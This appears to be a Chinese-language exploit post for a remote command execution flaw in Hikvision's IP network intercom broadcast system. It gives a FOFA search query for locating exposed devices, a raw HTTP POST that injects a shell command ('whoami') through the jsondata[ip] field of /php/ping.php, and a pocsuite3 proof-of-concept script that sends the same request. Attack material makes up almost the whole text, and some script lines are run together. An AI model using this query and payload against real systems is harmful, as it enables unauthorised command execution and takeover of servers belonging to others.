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漏洞描述

海康威视IP网络对讲机系统存在远程命令执行漏洞，通过此漏洞攻击者可在服务器上执行任意命令，控制服务器。

fofa语句

icon_hash="-1830859634"

poc加检测

POST /php/ping.php HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencodedjsondata[type]=666&jsondata[ip]=whoami

poc脚本

脚本使用pocsuite框架

# -*- coding: utf-8 -*-
# 2024/1/1from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OrderedDict, OptStringclass haikang_php_RCE(POCBase):author = '炼金术师诸葛亮'createDate = '2024-1-1'name = 'haikang-php-RCE'vulType = 'Command Execution'desc = '海康威视网络对讲广播系统远程命令执行漏洞'def _verify(self):result = {}path = "/php/ping.php"  # 参数url = self.url + pathheaders={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",'Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','DNT': '1','Connection': 'close','Upgrade-Insecure-Requests': '1',"Content-Type": "application/x-www-form-urlencoded"}data ='jsondata[type]=666&jsondata[ip]=whoami'r = requests.post(url,headers=headers,data=data)print(r.text)# 验证成功输出相关信息if r.status_code == 200 and 'admin' in r.text:result['VerifyInfo'] = {}return self.parse_output(result)register_poc(haikang_php_RCE)

脚本利用